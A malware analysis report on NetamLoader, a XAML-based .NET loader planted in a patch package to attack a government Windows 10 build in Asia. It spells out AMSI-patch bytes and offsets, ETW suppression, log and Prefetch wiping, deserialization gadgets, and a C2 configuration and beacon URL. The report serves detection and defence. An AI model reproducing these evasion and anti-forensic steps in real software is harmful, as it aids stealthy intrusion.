Unknown APT uses NetamLoader to attack a Win10 OS customized for governments in Asia未知APT组织利用NetamLoader攻击了一款为亚洲政府定制的Win10操作系统。
Kaspersky researchers analyze a complex targeted attack employing NetamLoader, a sophisticated malicious framework and targeting a customized government OS.

AES encryption scheme for network traffic
Execute downloaded XAML payload in an isolated AppDomain
Indicators of Compromise
A couple of months ago, our research revealed a highly sophisticated infection chain and a complex .NET assembly-loading framework built on XAML markup, which strongly indicates a supply-chain attack targeting a custom Windows build used exclusively by government entities in Asia. The malicious framework has been labeled NetamLoader; at present, no attribution to any known APT group has been established.
The sample came to light in the first half of 2026, when Kaspersky Security Network (KSN) issued a malware detection alert for a .config file using AppDomainManager injection to load arbitrary .NET assemblies. The file was packaged inside a CAB archive placed in the directory that stores Windows operating system update packages. Initial analysis of the CAB contents found no malicious code: most executables were legitimate components of the third-party patch management tool Patch My PC, and even the .NET assemblies used for the injection were Microsoft-signed. A later re-examination of the original .config file and the full loading process revealed the infection chain and framework described in this report.
Kaspersky’s products detect this threat as HEUR:Trojan.MSIL.NetamLoader.gen, Trojan.MSIL.Zapchast.*, and Trojan.Script.Agent.*.
During routine threat hunting, KSN sent us a malware detection alert. The notification flagged a .config file that employed AppDomainManager injection to load arbitrary .NET assemblies. The file was compressed into a CAB archive named e4537a1762fcafd2fd96bfc825bad34f9db9a24d and saved in the folder that stores Windows operating system update packages. Below is the full path to this archive:
Starting with this CAB archive, we uncovered a highly complex infection chain that uses a previously unknown advanced loading framework.
The CAB file contains the following seven files, which are extracted and placed in the path C:\Windows\SoftwareDistribution\Download\Install\:
Files compressed in the CAB file Except for Resources.resx, none of the files contain malicious code. We did not observe how the CAB file was delivered to the victim; we only saw the process PatchMyPC-ScriptRunner.exe running with the following arguments:
Files compressed in the CAB file
After the file is launched in this manner, the infection chain progresses to stage 1.
Starting with the execution of PatchMyPC-ScriptRunner.exe, which then served as a host process for loading several payloads, we identified a complex two‑stage loading mechanism with multiple steps. The overall flow of stage 1 is summarized in the diagram below.
Infection chain: Stage 1
The AppDomainManager injection technique is used to load an arbitrary .NET assembly. With this mechanism, when PatchMyPC-ScriptRunner.exe runs, the accompanying configuration file PatchMyPC-ScriptRunner.exe.config in the same directory is loaded before the executable’s main function runs. Below is the content of PatchMyPC‑ScriptRunner.exe.config.
According to the configuration file, the class Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration from the Microsoft.HostIntegration.Connectors.dll module (a Microsoft‑signed assembly) is loaded. DataCacheFactoryConfiguration is the configuration class for the Windows Server AppFabric Cache Client, specifying the settings for a new cache client. When the configuration class is loaded, its instance first attempts to find and read the default configuration file, fabric.config, located in the same directory. The contents of fabric.config are shown below:
The DataCacheFactoryConfiguration class has a design flaw that can be abused to load arbitrary assemblies. The fabric.config file is meticulously crafted. When the file is loaded, the DataCacheFactoryConfiguration instance examines its className attribute, loads the specified type ( System.Resources.ResXResourceSet from the System.Windows.Forms assembly), and creates a ResXResourceSet instance, passing “Resources.resx” to its constructor for parsing.
In the .resx file, multiple layers of payloads – including several XAML files, .NET assemblies, and JSON data – are encoded, compressed, or encrypted (see the diagram below). Each layer is unpacked and loaded by the layer above it. Once a layer finishes its operation, the next layer is extracted and loaded. Below, we analyze each layer in the order in which it is loaded:
Multiple layers of payloads are compressed and encrypted in the .resx file
The Microsoft RESX schema defines the XML layout used by .resx files, which has a human-readable structure and can hold application resources: strings, images, icons, and serialized objects. The Resources.resx file contains a Base64‑encoded binary object that was serialized using the well‑known, highly vulnerable .NET BinaryFormatter class.
Base64-encoded serialized binary object in Resources.resx
Parsing this .resx file with ResXResourceSet causes the embedded Base64‑encoded binary payload to invoke BinaryFormatter.Deserialize(), triggering a deserialization vulnerability that enables a TypeConfuseDelegate attack . The TypeConfuseDelegate then invokes XamlReader.Parse() , which loads a XAML payload (named XAML-1) embedded within the binary object.
XAML is a markup language for building user interfaces in .NET applications, but its capabilities extend far beyond that. Using two built‑in objects, ObjectDataProvider and ResourceDictionary , logic equivalent to C# code can be expressed in an XML‑like syntax. A code snippet of XAML-1
A code snippet of XAML-1
The XAML-1 code acts as a loader for an embedded payload. The process is as follows:
Retrieve the full command line of the current host process PatchMyPC‑ScriptRunner.exe, converting all arguments to lowercase.
Generate the AES key by hashing the command‑line string with SHA‑256.
Decode the Base64 string embedded in XAML-1 into a binary array. Use the first 16 bytes of that array as the IV, then decrypt the remaining encrypted data with AES. The decrypted output is another piece of XAML code, which we refer to as XAML-2.
Load XAML-2 into memory using the .NET API System.Windows.Markup.XamlReader.Load() .
If any exception occurs during decryption, trigger Environment.Exit(0) , silently terminating the host process to prevent error messages that might reveal the attack.
XAML‑2 initiates stage 2 of the infection. The diagram below shows the overall flow of this stage. Infection chain: Stage 2
Infection chain: Stage 2
XAML‑2 contains two embedded Base64‑encoded sections. These sections are actually two additional XAML files (referred to as XAML-2-1 and XAML-2-2) that were first compressed with ZIP and then encoded in Base64. After decoding and decompressing, XAML-2 loads each file into memory separately with XamlReader.Load() . A code snippet of XAML-2
A code snippet of XAML-2
The first file consists of 796 lines. Its sole purpose is to hijack a key AMSI API to bypass anti‑malware scanning.
Sensitive strings in XAML-2-1 are cut into tiny pieces
To avoid detection by anti‑malware signature scans, sensitive strings are split into very short fragments. When XAML-2-1 is loaded and parsed, the fragments are reassembled into the original string.
The key steps it takes to achieve its goal are as follows:
Check the OS architecture by verifying whether IntPtr.Size equals 8. If it does not, the host process isn’t 64‑bit, so abort the hijack operation.
Combine the split strings into a single CLSID GUID (fdb00e52-a214-4aa1-8fba-4357bb0072ec), then try to create an instance of the AMSI COM object using this GUID.
Patch the AMSI module. Create a delegate for the runtime method Console.Clear() and then obtain its native function pointer. Next, patch the method by overwriting its first bytes in memory with the binary payload (41 C7 00 01 00 00 00 33 C0 C3). Obtain the native pointer of the AMSI COM object with Marshal.GetIUnknownForObject() . From this pointer, read the address of its virtual method table and add 0x18 to reach another pointer that holds the address of the CAmsiAntimalware::Scan method. Use VirtualProtect() to make the Scan() pointer writable, change its value from the address of the CAmsiAntimalware::Scan() method to the address of the patched Console.Clear() , and then restore the pointer’s original protection attributes. Once this step is complete, every scan returns AMSI_RESULT_CLEAN (value = 0) .
Create a delegate for the runtime method Console.Clear() and then obtain its native function pointer. Next, patch the method by overwriting its first bytes in memory with the binary payload (41 C7 00 01 00 00 00 33 C0 C3).
Obtain the native pointer of the AMSI COM object with Marshal.GetIUnknownForObject() . From this pointer, read the address of its virtual method table and add 0x18 to reach another pointer that holds the address of the CAmsiAntimalware::Scan method.
Use VirtualProtect() to make the Scan() pointer writable, change its value from the address of the CAmsiAntimalware::Scan() method to the address of the patched Console.Clear() , and then restore the pointer’s original protection attributes. Once this step is complete, every scan returns AMSI_RESULT_CLEAN (value = 0) .
One patch targets the Console.Clear() API, which resides in the memory space of an existing legitimate module, while the other modifies only the virtual tables of the AMSI module, allowing the malware to pass code integrity checks.
XAML-2-2 consists of two parts: a .NET module (the first loader, .NET 1 Loader) and a JSON data payload (the C2 configuration, JSON-1). Both components are compressed with ZIP and then encoded in Base64. XAML-2-2 first decodes and decompresses the .NET assembly .NET 1 Loader, then uses the Assembly.CreateInstance() API to create an instance of the .NET 1 Loader and passes the Base64‑encoded JSON-1 to the m.C() method of .NET 1 Loader as a parameter.
.NET 1 Loader decodes, decompresses, and parses JSON‑1. The decoded and decompressed JSON‑1 is shown below:
JSON-1-c This JSON contains the configuration data that .NET 1 Loader uses to report the execution results of the loaded payload to the C2 server. sc false Flag. Determines whether to report the execution result of m.C() . When set to false, reporting to C2 is skipped. c null Reporting C2 server. The result returned by the m.C() method of .NET 1 Loader is sent to this server. tp null Unknown item, suspected to be a trusted SSL certificate. Thumbprint was used to verify this alleged C2 certificate. e null The AES key that encrypts the JSON result returned by the m.C() method of .NET 1 Loader.
JSON-1-p JSON-1-p is a more complex configuration file. .NET 1 Loader parses its data to prepare and load the subsequent stages. The following configuration keys store the payloads: oib : Base64‑encoded .NET 2 Plugin (PE file) oub : Base64‑encoded XAML that invokes Exit(0) ibk : AES key used to decrypt ibi ibi : A Base64‑encoded collection of compressed, encrypted XAML templates used to build XAML-3. Detailed instructions for decrypting and assembling XAML‑3 are provided in the XAML‑3 section below. Other items are passed as C2 configuration to the .NET 2 Plugin at a later stage. [ { "c": [ { "cu": "https://openaigpt4v.com/model_v4/", "tp": "*", "rh": "" } ], "mib": 79200, "mab": 100800, "mis": 1200, "mas": 2400, "e": "9fT04e03tAiZAPogcDWt0w==", "ii": null, "aop": null, "oib": "TVqQAAMAAAAEAAAA//8AALgAAAAAA...", "oub": "PFJlc291cmNlRGljdGlvbmFyeS...", "wi": 100801, "ibk": "W7BHmIRBRY3FOIfWprbW/ZJh5GbPND3sY+qCBDY7O2A=", "ibi": "4pUDtQVbD6leQrDvtT3gaaCLec...", "de": false } ] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 [ { "c" : [ { "cu" : "https://openaigpt4v.com/model_v4/" , "tp" : "*" , "rh" : "" } ] , "mib" : 79200 , "mab" : 100800 , "mis" : 1200 , "mas" : 2400 , "e" : "9fT04e03tAiZAPogcDWt0w==" , "ii" : null , "aop" : null , "oib" : "TVqQAAMAAAAEAAAA//8AALgAAAAAA..." , "oub" : "PFJlc291cmNlRGljdGlvbmFyeS..." , "wi" : 100801 , "ibk" : "W7BHmIRBRY3FOIfWprbW/ZJh5GbPND3sY+qCBDY7O2A=" , "ibi" : "4pUDtQVbD6leQrDvtT3gaaCLec..." , "de" : false } ]
oib : Base64‑encoded .NET 2 Plugin (PE file)
oub : Base64‑encoded XAML that invokes Exit(0)
ibk : AES key used to decrypt ibi
ibi : A Base64‑encoded collection of compressed, encrypted XAML templates used to build XAML-3. Detailed instructions for decrypting and assembling XAML‑3 are provided in the XAML‑3 section below.
Other items are passed as C2 configuration to the .NET 2 Plugin at a later stage.
After obtaining the configuration, .NET 1 Loader proceeds with the following key steps:
Delete the update records from the system log related to the malicious update packages, along with the malicious files and cache files used in stage 1. Delete malicious files extracted from the CAB PatchMyPC-ScriptRunner.exe.config fabric.config Resources.resx 1 2 3 PatchMyPC - ScriptRunner . exe . config fabric . config Resources . resx Delete CLR usage logs and Windows system Prefetch cache files to eliminate evidence that could be used in forensic analysis. %LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\PatchMyPC-ScriptRunner.exe.log %WINDIR%\Prefetch\PATCHMYPC-SCRIPTRUNNER.EXE-*.pf 1 2 3 % LOCALAPPDATA % \ Microsoft \ CLR_v4 . 0 \ UsageLogs \ PatchMyPC - ScriptRunner . exe . log % WINDIR % \ Prefetch \ PATCHMYPC - SCRIPTRUNNER . EXE - * . pf Retrieve the files in the folders matching the pattern 20???? at the path below, where each file name starts with “20” followed by six more characters (e.g., 20260101). Read the files’ contents, filter out any lines containing the exact substring GetExtendedUpdateInfoHandler, and write the filtered content back to the log files. The path contains the keyword CmitUpdateAgent, which may be linked to a custom Windows 10 build used by a government in Asia. "%WINDIR%\Logs\CmitUpdateAgent\20????\20??????" 1 "%WINDIR%\Logs\CmitUpdateAgent\20????\20??????" Reset a registry‑based exception‑state logging system by deleting the nine GUID keys under the path LocalMachine\SOFTWARE\Classes\appid\[specific_GUID] one at a time, along with all of their child subkeys. The algorithm that generates the GUID path is unique– it derives the GUID from the C2 URL– so each C2 server has its own distinct set of bound GUIDs. Of the nine GUIDs derived using this method, one indicates that an exception occurred, and the others are numbered 0 through 7. For example, when the malware catches exception code 129, it creates the registry subkey {bde7ddc2-1f6f-4397-a0df-ae7c7d67d65a} to indicate that an exception occurred. It then checks the bit mask, where 129 equals binary 10000001. Consequently, it creates the eighth subkey {74084115-433e-4fe8-8d01-41c48fbfeef6} and the first subkey {bf6f4bde-97db-4dcd-9546-7ebf10061519}. Verify that each necessary configuration item exists in JSON-1-p, then validate some of its items against hardcoded values. If any item fails the check, halt the infection chain and submit the execution result to the reporting C2 server. Verify that the current user is an administrator; if not, throw an exception with code 128. Check whether the configuration item aop exists. If it does, Base64-decode its value, use the result as XAML-3, and skip to step 9. Generate a unique malware instance ID for the configuration item ii by calling Guid.NewGuid() . Query the SusClientId value from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate. Then generate the value for the newly defined configuration item si by computing a GUID using the same algorithm as above. Use the concatenation of the retrieved SusClientId value and the byte sequence \x14\x43\x9B\x64 as the input data for the algorithm. Parse JSON-1-p, extract the relevant items and their values, and convert them to XAML format. Next, follow the steps outlined in the XAML-3 section to generate the complex XAML script XAML-3. Create a COM instance of WScript.Shell (CLSID: 41904400-BE18-11D3-A28B-00104BD35090) and retrieve the environment of the current process. Then set the COMPlus_ETWEnabled environment variable to 0 to prevent the CLR from registering the .NET ETW provider, which hides the associated events. Use RPC to create a remote COM object (CLSID: ab8902b4-09ca-4bb6-b78d-a8f59079a8d5). Exploit it via an unknown binary object deserialization vulnerability and the TypeConfuseDelegate technique. Once the exploit succeeds, XAML-3 is loaded into the remote host process dllhost.exe. This is a covert method for initiating a new process that loads the malicious payload XAML‑3. This technique effectively separates the infection chain from its initial process, allowing it to bypass behavioral monitoring by security solutions such as EDR. The execution result (in JSON format, shown below) is first AES‑encrypted using the key from the item e . A randomly generated IV is prepended to the encrypted data, and the result is then Base64‑encoded. [ { // Fixed value "_": "0202097a-5c1e-460d-b5e0-030b9756b242", // Error number: 0 indicates successful execution "e": "0 ", // Value of config "ii" "i": "94aafd58-c00c-402a-aae6-858b4486a1a4" } ] 1 2 3 4 5 6 7 8 9 10 [ { // Fixed value "_" : "0202097a-5c1e-460d-b5e0-030b9756b242" , // Error number: 0 indicates successful execution "e" : "0 " , // Value of config "ii" "i" : "94aafd58-c00c-402a-aae6-858b4486a1a4" } ] POST the encrypted and encoded result to the reporting C2 server.
Delete malicious files extracted from the CAB PatchMyPC-ScriptRunner.exe.config fabric.config Resources.resx 1 2 3 PatchMyPC - ScriptRunner . exe . config fabric . config Resources . resx
Delete CLR usage logs and Windows system Prefetch cache files to eliminate evidence that could be used in forensic analysis. %LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\PatchMyPC-ScriptRunner.exe.log %WINDIR%\Prefetch\PATCHMYPC-SCRIPTRUNNER.EXE-*.pf 1 2 3 % LOCALAPPDATA % \ Microsoft \ CLR_v4 . 0 \ UsageLogs \ PatchMyPC - ScriptRunner . exe . log % WINDIR % \ Prefetch \ PATCHMYPC - SCRIPTRUNNER . EXE - * . pf
Retrieve the files in the folders matching the pattern 20???? at the path below, where each file name starts with “20” followed by six more characters (e.g., 20260101). Read the files’ contents, filter out any lines containing the exact substring GetExtendedUpdateInfoHandler, and write the filtered content back to the log files. The path contains the keyword CmitUpdateAgent, which may be linked to a custom Windows 10 build used by a government in Asia. "%WINDIR%\Logs\CmitUpdateAgent\20????\20??????" 1 "%WINDIR%\Logs\CmitUpdateAgent\20????\20??????"
Reset a registry‑based exception‑state logging system by deleting the nine GUID keys under the path LocalMachine\SOFTWARE\Classes\appid\[specific_GUID] one at a time, along with all of their child subkeys. The algorithm that generates the GUID path is unique– it derives the GUID from the C2 URL– so each C2 server has its own distinct set of bound GUIDs. Of the nine GUIDs derived using this method, one indicates that an exception occurred, and the others are numbered 0 through 7. For example, when the malware catches exception code 129, it creates the registry subkey {bde7ddc2-1f6f-4397-a0df-ae7c7d67d65a} to indicate that an exception occurred. It then checks the bit mask, where 129 equals binary 10000001. Consequently, it creates the eighth subkey {74084115-433e-4fe8-8d01-41c48fbfeef6} and the first subkey {bf6f4bde-97db-4dcd-9546-7ebf10061519}.
Verify that each necessary configuration item exists in JSON-1-p, then validate some of its items against hardcoded values. If any item fails the check, halt the infection chain and submit the execution result to the reporting C2 server.
Verify that the current user is an administrator; if not, throw an exception with code 128.
Check whether the configuration item aop exists. If it does, Base64-decode its value, use the result as XAML-3, and skip to step 9.
Generate a unique malware instance ID for the configuration item ii by calling Guid.NewGuid() .
Query the SusClientId value from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate. Then generate the value for the newly defined configuration item si by computing a GUID using the same algorithm as above. Use the concatenation of the retrieved SusClientId value and the byte sequence \x14\x43\x9B\x64 as the input data for the algorithm.
Parse JSON-1-p, extract the relevant items and their values, and convert them to XAML format. Next, follow the steps outlined in the XAML-3 section to generate the complex XAML script XAML-3.
Create a COM instance of WScript.Shell (CLSID: 41904400-BE18-11D3-A28B-00104BD35090) and retrieve the environment of the current process. Then set the COMPlus_ETWEnabled environment variable to 0 to prevent the CLR from registering the .NET ETW provider, which hides the associated events.
Use RPC to create a remote COM object (CLSID: ab8902b4-09ca-4bb6-b78d-a8f59079a8d5). Exploit it via an unknown binary object deserialization vulnerability and the TypeConfuseDelegate technique. Once the exploit succeeds, XAML-3 is loaded into the remote host process dllhost.exe. This is a covert method for initiating a new process that loads the malicious payload XAML‑3. This technique effectively separates the infection chain from its initial process, allowing it to bypass behavioral monitoring by security solutions such as EDR.
The execution result (in JSON format, shown below) is first AES‑encrypted using the key from the item e . A randomly generated IV is prepended to the encrypted data, and the result is then Base64‑encoded. [ { // Fixed value "_": "0202097a-5c1e-460d-b5e0-030b9756b242", // Error number: 0 indicates successful execution "e": "0 ", // Value of config "ii" "i": "94aafd58-c00c-402a-aae6-858b4486a1a4" } ] 1 2 3 4 5 6 7 8 9 10 [ { // Fixed value "_" : "0202097a-5c1e-460d-b5e0-030b9756b242" , // Error number: 0 indicates successful execution "e" : "0 " , // Value of config "ii" "i" : "94aafd58-c00c-402a-aae6-858b4486a1a4" } ]
POST the encrypted and encoded result to the reporting C2 server.
XAML-3 is a critical payload that, after leaving the original process tree, is loaded and executed in a different process: dllhost.exe. XAML-3 is generated from template XAML-3. As shown in the diagram below, the template is decoded and decrypted using the value of the ibi item in JSON-1-p. In addition to template XAML‑3, the final decryption includes two other XAML templates (template __P1__ and template __P2__). The multi-layer encryption structure of “ibi”
The multi-layer encryption structure of “ibi”
The AES key is taken from the config item ibk. The first 16 bytes of the encrypted binary data serve as AES IV 1. After decryption, the data consists of a simple header followed by AES IV 2.
Template XAML‑3 includes two string placeholders, __P1__ and __P2__. Each placeholder is replaced with compressed, Base64‑encoded XAML (template __P1__ and XAML‑P2).
The content of template __P1__ is identical to XAML-2-1 and bypasses AMSI in the new process. XAML-P2 is generated from the template __P2__.
Some of the item values in template __P2__ come from the C2 configuration data in JSON-1-p. Within template __P2__, the placeholder __P__ is replaced with a compressed, encoded payload – the .NET 2 Plugin – which is decoded from the oib value in JSON-1-p. After completing all the operations, the template __P2__ becomes XAML-P2.
The C2 configuration in XAML‑P2 is shown below:
When dllhost.exe loads XAML-3, it loads template __P1__ and XAML-P2 one by one. When XAML-P2 loads, it retrieves the current domain via AppDomain.GetCurrentDomain() and then stores the values of the C2 configuration items ( cu , tp , and rh ; see the table above) in that domain using AppDomain.SetData() . Finally, XAML-P2 decodes and decompresses the embedded payload (.NET 2 Plugin), loads the .NET 2 Plugin into the current domain, and then calls the plugin’s entry method, m.C() .
This payload is a .NET assembly (PE file). As discussed above, it is loaded by XAML-P2 into the host process dllhost.exe. In the plugin’s entry method m.C() , a thread is spawned to execute the malicious operations.
The following key steps are executed in this thread:
Configuration initialization : Load the C2 configuration from the current AppDomain’s data storage and assign it to the corresponding member variables.
Gather system information from the registry: "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full", Key="Version" "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", Key="BuildLab" 1 2 "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full" , Key = "Version" "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" , Key = "BuildLab" Combine the queried values into a single string, for example: "4.7.03190\n17763.rs5_release.180914-1434" . If any query fails, replace its result with a hyphen (“-“).
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full", Key="Version" "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", Key="BuildLab" 1 2 "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full" , Key = "Version" "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" , Key = "BuildLab"
Combine the queried values into a single string, for example: "4.7.03190\n17763.rs5_release.180914-1434" . If any query fails, replace its result with a hyphen (“-“).
Clear the state of the exception‑state logging system: .NET 2 Plugin uses the same exception‑state logging system as the .NET 1 Loader. Recursively delete 12 GUID subkeys from the registry. The algorithm that generates the GUID path is the same as the one used by .NET 1 Loader. The first eight GUIDs are the same as those that .NET 1 Loader attempted to remove. The remaining four GUIDs were generated using different integer seeds (integer seed = [From 1 to 4]|65536). If steps 1 and 2 are completed successfully, generate a subkey using the integer seed 3|65536. Then create the following registry subkey: "LocalMachine\SOFTWARE\Classes\appid\{ff259bcd-2f0a-44de-b34a-0092fec1d8a2} DllSurrogate = "" 1 2 "LocalMachine\SOFTWARE\Classes\appid\{ff259bcd-2f0a-44de-b34a-0092fec1d8a2} DllSurrogate = " "
Recursively delete 12 GUID subkeys from the registry. The algorithm that generates the GUID path is the same as the one used by .NET 1 Loader. The first eight GUIDs are the same as those that .NET 1 Loader attempted to remove. The remaining four GUIDs were generated using different integer seeds (integer seed = [From 1 to 4]|65536).
If steps 1 and 2 are completed successfully, generate a subkey using the integer seed 3|65536. Then create the following registry subkey:
"LocalMachine\SOFTWARE\Classes\appid\{ff259bcd-2f0a-44de-b34a-0092fec1d8a2} DllSurrogate = "" 1 2 "LocalMachine\SOFTWARE\Classes\appid\{ff259bcd-2f0a-44de-b34a-0092fec1d8a2} DllSurrogate = " "
Anti-analysis: Check whether the current host process is dllhost.exe by examining Environment.CommandLine .
Prevent the host process from exiting: Create a managed object and retrieve its IUnknown interface. Then call ole32.dll’s CoLockObjectExternal(IUnknown interface) to lock the object in memory, ensuring that the dllhost.exe process created by RPC is not released by the system.
Jitter delay: Before the initial request to the C2 server, wait for a random jitter delay of 20-40 minutes (set by the configuration item “is”=”1200-2400”) to evade sandboxes by causing them to time out.
Set maximum execution time : Create a timer that registers a callback function as a watchdog. The timer waits approximately 28 hours (100801 seconds, retrieved from the configuration item wi ) before invoking the callback. The callback fetches the configuration item u , decodes its Base64‑encoded string, decompresses the output, and extracts a XAML snippet from the resulting data. It then loads this XAML, which ultimately triggers Environment.Exit(0) .
Periodic polling: Retrieve the config items cu and ii to build the full URL https://openaigpt4v.com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4 Obtain the system proxy using three methods (see the Discovering proxies section below). Register an HTTPS callback ( ServerCertificateValidationCallback ) that verifies the server‑side X.509 certificate against the configuration value tp before establishing the connection. Then, combine the system information with additional details, such as whether the proxy is bypassed, whether it is using a proxy, and the current index in the C2 server list. Next, encrypt the combined data with AES (see the AES encryption diagram in the network traffic section for more details), and then encode the encrypted output in Base64. // Final HTTP request URL "https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhGFHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095" 1 2 // Final HTTP request URL "https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhGFHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095" Hijack the HTTP User-Agent and replace the value following HOST: with the config value of item rh . Retrieve a XAML file from the C2 server, update the configuration data, and load the retrieved XAML (for more details on techniques, see the Execute downloaded XAML payload in an isolated AppDomain section). If a valid response is received from C2, the loop pauses for 5-6 minutes before the next request; otherwise, it pauses for 22-28 hours, checking every 10 minutes to determine whether the allotted time has elapsed.
Retrieve the config items cu and ii to build the full URL https://openaigpt4v.com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4
Obtain the system proxy using three methods (see the Discovering proxies section below).
Register an HTTPS callback ( ServerCertificateValidationCallback ) that verifies the server‑side X.509 certificate against the configuration value tp before establishing the connection.
Then, combine the system information with additional details, such as whether the proxy is bypassed, whether it is using a proxy, and the current index in the C2 server list.
Next, encrypt the combined data with AES (see the AES encryption diagram in the network traffic section for more details), and then encode the encrypted output in Base64. // Final HTTP request URL "https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhGFHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095" 1 2 // Final HTTP request URL "https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhGFHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095"
Hijack the HTTP User-Agent and replace the value following HOST: with the config value of item rh .
Retrieve a XAML file from the C2 server, update the configuration data, and load the retrieved XAML (for more details on techniques, see the Execute downloaded XAML payload in an isolated AppDomain section).
If a valid response is received from C2, the loop pauses for 5-6 minutes before the next request; otherwise, it pauses for 22-28 hours, checking every 10 minutes to determine whether the allotted time has elapsed.
All traffic between the malware and the C2 server is encrypted and authenticated using AES‑128‑CBC with HMAC. The encryption and authentication keys are derived from a master key – specified in the configuration as "ec"="9fT04e03tAiZAPogcDWt0w==" – by applying HMAC with distinct seed values.
For a given master key and a single-byte seed, the derivation works as follows:
Generate a 16‑byte sequence from the seed; this serves as the HMAC key.
Compute HMAC‑SHA256 over the master key to obtain an intermediate key.
Use this intermediate key as the HMAC key to compute HMAC‑SHA256 on the constant byte 0x01.
Take the first 16 bytes of the resulting hash; this becomes the final derived key.
Accordingly, the server-side encryption and decryption keys mirror those on the client (malware) side.
The code implements an encapsulation of AES-CBC encryption combined with HMAC-SHA256 integrity verification. It uses a randomly generated IV to symmetrically encrypt the plaintext in CBC mode and produces ciphertext. Next, it calculates an SHA256 message authentication code for the concatenated “IV+ciphertext” using a separate HMAC key. Finally, it concatenates the three segments – IV (16 bytes) | ciphertext | HMAC (32 bytes) – into a single byte array that constitutes the final encrypted message. This follows the standard cryptographic Encrypt-then-MAC construction. The receiver must validate the HMAC before decrypting with the corresponding key and IV, which ensures confidentiality, integrity, and tamper resistance.
.NET 2 Plugin detects the system proxy using three methods:
Retrieve the system‑wide proxy configuration using the Win32 WinHTTP API function WinHttpGetDefaultProxyConfiguration() , then extract the proxy server with the regular expression (?:([a-zA-Z]+)=)?(.*) .
If that fails, locate the running explorer.exe process, impersonate its access token using Impersonate() , and retrieve its proxy configuration with the .NET API WebProxy.GetDefaultProxy() .
If both methods fail, fall back to obtaining the proxy from the .NET property DefaultWebProxy .
These methods ensure that the malware can reach external networks even in complex network environments with proxies.
This technique abuses MulticastDelegate again by using reflection to modify its private _invocationList array. .NET 2 Plugin creates a multicast delegate ( CrossAppDomainDelegate ) and replaces one entry in its invocation list with a malicious delegate pointing to XamlReader.Parse() . When AppDomain.DoCallBack() executes this multicast delegate, it iterates through the invocation list and invokes the injected XamlReader.Parse() to parse and execute the downloaded XAML.
In more detail, the process is as follows:
Create a new isolated AppDomain with a randomly generated GUID as its name.
Copy all configuration data from the current AppDomain into the new one.
Set the proxy information in the new AppDomain and assign it to the variable px .
Use TypeConfuseDelegate to replace TimeZoneInfo.ClearCachedData() with XamlReader.Parse() , thereby modifying the MulticastDelegate(CrossAppDomainDelegate) .
Use appDomain.DoCallBack() to invoke XamlReader.Parse() within the isolated AppDomain, executing the downloaded XAML payload.
Transfer any updated configuration data from the new AppDomain back to the original AppDomain.
Unload the isolated AppDomain to complete the cleanup.
This technique keeps the downloaded malicious payload out of the main AppDomain, which increases stability and allows the payload to be fully cleaned up after execution.
The attack relies on commercial hosting infrastructure. The C2 IP is part of Cloudflare’s CDN, and the domain name is registered with Cloudflare.
Based on KSN telemetry data, we identified a single victim in Asia. Additionally, we learned that the malware was designed to target a specially customized government‑only version of the Windows operating system. Consequently, we infer that the victims are Asian government entities.
After analyzing the TTPs, code similarities, and infrastructure, we were unable to link the attack to any known APT group.
Technological sovereignty has become a global trend. In today’s geopolitical climate, a growing number of countries are building their own core software platforms, including operating systems, databases, middleware, and cloud services, with operating systems often the top priority. The advantage is that each country controls the development, operation, and upgrading of its own operating systems, granting it full autonomy over the entire process. On the other hand, it also means that each country must protect this entire vast ecosystem on its own. Bringing the operation and maintenance of such a system to maturity is a lengthy process. Until then, both the system and its emerging supply chain could be exposed to attacks through multiple vectors, increasing potential vulnerabilities.
